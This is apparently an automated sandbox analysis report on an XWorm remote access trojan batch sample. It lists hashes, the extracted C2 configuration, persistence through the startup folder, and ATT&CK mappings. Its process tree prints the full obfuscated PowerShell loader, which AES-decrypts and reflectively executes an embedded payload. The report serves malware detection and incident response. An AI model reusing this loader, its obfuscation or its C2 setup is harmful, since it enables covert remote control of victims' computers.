xworm | 2b376fc26c056e80151240114b9775ca057083dc838c15f586bf2857c9affda8

General

Target

2b376fc26c056e80151240114b9775ca057083dc838c15f586bf2857c9affda8.bat
Size

64KB
MD5

c24ad5f86f3789fe871d0bd328838f9a
SHA1

fcdf8088406fa2b07e93c02058aa13398c065e02
SHA256

2b376fc26c056e80151240114b9775ca057083dc838c15f586bf2857c9affda8
SHA512

c5a4106048010617319175c0097f9cd1ea1f6198c0fac1590808cca198709adbe0619c0ba14fe55a56f0257f967d5cdeae8cb719472d24d860f6076aed11e88e
SSDEEP

1536:vSWGfd3nZkbmEKUgXEXzICKUnFrcACGUrv4fuipRcLS+/a+gjgYWjT:vP4YHfBXUzGV2G9CT

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

expresswealthz.duckdns.org:3911

Mutex

VeNg3bHq9tIgwrK7

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4948-21-0x000001272B540000-0x000001272B550000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4948	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_d4acba1f.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_d4acba1f.cmd	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4948	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4948	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1360 wrote to memory of 4920	1360	cmd.exe	85
PID 1360 wrote to memory of 4920	1360	cmd.exe	85
PID 4920 wrote to memory of 4948	4920	cmd.exe	87
PID 4920 wrote to memory of 4948	4920	cmd.exe	87

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2b376fc26c056e80151240114b9775ca057083dc838c15f586bf2857c9affda8.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1360
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\2b376fc26c056e80151240114b9775ca057083dc838c15f586bf2857c9affda8.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskdXRub2IgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJHV0bm9iKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICR1dG5vYiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCR1dG5vYiwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkdXRub2IiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gemhnY2woJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ3FLWUdsT05iM3BrQUcySnhOOGR5UGRMTjNRa1lsVjNiN2RvdEJQOWpHeUE9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ1dCMmY1TDNMS3NUbDhHdWdDVStlb2c9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24geGp1eWwoJHBhcmFtX3Zhcil7CSR4Z3lvbD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkdm9rdWg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkka2FveWY9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkeGd5b2wsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJGthb3lmLkNvcHlUbygkdm9rdWgpOwkka2FveWYuRGlzcG9zZSgpOwkkeGd5b2wuRGlzcG9zZSgpOwkkdm9rdWguRGlzcG9zZSgpOwkkdm9rdWguVG9BcnJheSgpO31mdW5jdGlvbiBmb2h6cigkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHFoeWlyPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJHVwaHlvPSRxaHlpci5FbnRyeVBvaW50OwkkdXBoeW8uSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHV0bm9iOyR4b3ZzYT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHV0bm9iKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkZXN3IGluICR4b3ZzYSkgewlpZiAoJGVzdy5TdGFydHNXaXRoKCc6OiAnKSkJewkJJGhtdGtqPSRlc3cuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JG10aGhmPVtzdHJpbmdbXV0kaG10a2ouU3BsaXQoJ1wnKTskcGlidG89eGp1eWwgKHpoZ2NsIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJG10aGhmWzBdKSkpOyRvdWNmaj14anV5bCAoemhnY2wgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbXRoaGZbMV0pKSk7Zm9oenIgJHBpYnRvICRudWxsO2ZvaHpyICRvdWNmaiAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_al0accyc.jhf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\dwm.bat

Filesize
64KB

MD5
c24ad5f86f3789fe871d0bd328838f9a

SHA1
fcdf8088406fa2b07e93c02058aa13398c065e02

SHA256
2b376fc26c056e80151240114b9775ca057083dc838c15f586bf2857c9affda8

SHA512
c5a4106048010617319175c0097f9cd1ea1f6198c0fac1590808cca198709adbe0619c0ba14fe55a56f0257f967d5cdeae8cb719472d24d860f6076aed11e88e

Download Submit
memory/4948-16-0x00007FF9672E0000-0x00007FF967DA1000-memory.dmp

Filesize
10.8MB

Download
memory/4948-13-0x00007FF9672E0000-0x00007FF967DA1000-memory.dmp

Filesize
10.8MB

Download
memory/4948-14-0x00007FF9672E0000-0x00007FF967DA1000-memory.dmp

Filesize
10.8MB

Download
memory/4948-3-0x0000012710FE0000-0x0000012711002000-memory.dmp

Filesize
136KB

Download
memory/4948-2-0x00007FF9672E3000-0x00007FF9672E5000-memory.dmp

Filesize
8KB

Download
memory/4948-17-0x00007FF9672E0000-0x00007FF967DA1000-memory.dmp

Filesize
10.8MB

Download
memory/4948-18-0x0000012711010000-0x0000012711018000-memory.dmp

Filesize
32KB

Download
memory/4948-19-0x0000012711150000-0x000001271115E000-memory.dmp

Filesize
56KB

Download
memory/4948-21-0x000001272B540000-0x000001272B550000-memory.dmp

Filesize
64KB

Download
memory/4948-22-0x00007FF9672E3000-0x00007FF9672E5000-memory.dmp

Filesize
8KB

Download
memory/4948-23-0x00007FF9672E0000-0x00007FF967DA1000-memory.dmp

Filesize
10.8MB

Download
memory/4948-24-0x00007FF9672E0000-0x00007FF967DA1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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